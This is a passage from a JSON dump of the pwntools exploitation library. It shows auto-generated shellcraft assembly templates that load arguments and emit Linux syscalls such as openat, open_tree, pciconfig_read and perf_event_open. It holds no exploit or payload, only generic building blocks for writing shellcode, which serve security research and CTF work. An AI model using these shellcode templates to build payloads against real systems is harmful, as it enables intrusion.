break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_open'])\n%>\n    /* open(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/open_by_handle_at.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>open_by_handle_at(mountdirfd, handle, flags) -> str\n\nInvokes the syscall open_by_handle_at.\n\nSee 'man 2 open_by_handle_at' for more information.\n\nArguments:\n    mountdirfd(int): mountdirfd\n    handle(file_handle*): handle\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"mountdirfd=0, handle=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['mountdirfd', 'handle', 'flags']\n    argument_values = [mountdirfd, handle, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_open_by_handle_at']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_open_by_handle_at'])\n%>\n    /* open_by_handle_at(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/open_tree.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>open_tree(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall open_tree.\n\nSee 'man 2 open_tree' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_open_tree']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_open_tree'])\n%>\n    /* open_tree(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/openat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>openat(fd, file, oflag, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall openat.\n\nSee 'man 2 openat' for more information.\n\nArguments:\n    fd(int): fd\n    file(char*): file\n    oflag(int): oflag\n    vararg(int): vararg\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, file=0, oflag=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'file', 'oflag', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [fd, file, oflag, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_openat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_openat'])\n%>\n    /* openat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/openat2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>openat2(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall openat2.\n\nSee 'man 2 openat2' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_openat2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_openat2'])\n%>\n    /* openat2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pause.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pause() -> str\n\nInvokes the syscall pause.\n\nSee 'man 2 pause' for more information.\n\nArguments:\n\nReturns:\n    int\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pause']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pause'])\n%>\n    /* pause(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pciconfig_iobase.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pciconfig_iobase(which, bus, devfn) -> str\n\nInvokes the syscall pciconfig_iobase.\n\nSee 'man 2 pciconfig_iobase' for more information.\n\nArguments:\n    which(long): which\n    bus(unsigned): bus\n    devfn(unsigned): devfn\nReturns:\n    int\n</%docstring>\n<%page args=\"which=0, bus=0, devfn=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['which', 'bus', 'devfn']\n    argument_values = [which, bus, devfn]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pciconfig_iobase']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pciconfig_iobase'])\n%>\n    /* pciconfig_iobase(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pciconfig_read.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pciconfig_read(bus, dfn, off, length, buf) -> str\n\nInvokes the syscall pciconfig_read.\n\nSee 'man 2 pciconfig_read' for more information.\n\nArguments:\n    bus(unsigned): bus\n    dfn(unsigned): dfn\n    off(unsigned): off\n    length(unsigned): length\n    buf(void*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"bus=0, dfn=0, off=0, length=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['bus', 'dfn', 'off', 'length', 'buf']\n    argument_values = [bus, dfn, off, length, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pciconfig_read']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pciconfig_read'])\n%>\n    /* pciconfig_read(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pciconfig_write.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pciconfig_write(bus, dfn, off, length, buf) -> str\n\nInvokes the syscall pciconfig_write.\n\nSee 'man 2 pciconfig_write' for more information.\n\nArguments:\n    bus(unsigned): bus\n    dfn(unsigned): dfn\n    off(unsigned): off\n    length(unsigned): length\n    buf(void*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"bus=0, dfn=0, off=0, length=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['bus', 'dfn', 'off', 'length', 'buf']\n    argument_values = [bus, dfn, off, length, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pciconfig_write']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pciconfig_write'])\n%>\n    /* pciconfig_write(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/perf_event_open.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>perf_event_open(attr, pid, cpu, group_fd, flags) -> str\n\nInvokes the syscall perf_event_open.\n\nSee 'man 2 perf_event_open' for more information.\n\nArguments:\n    attr(perf_event_attr*): attr\n    pid(pid_t): pid\n    cpu(int): cpu\n    group_fd(int): group_fd\n    flags(unsigned): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"attr=0, pid=0, cpu=0, group_fd=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['attr', 'pid', 'cpu', 'group_fd', 'flags']\n    argument_values = [attr, pid, cpu, group_fd, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n         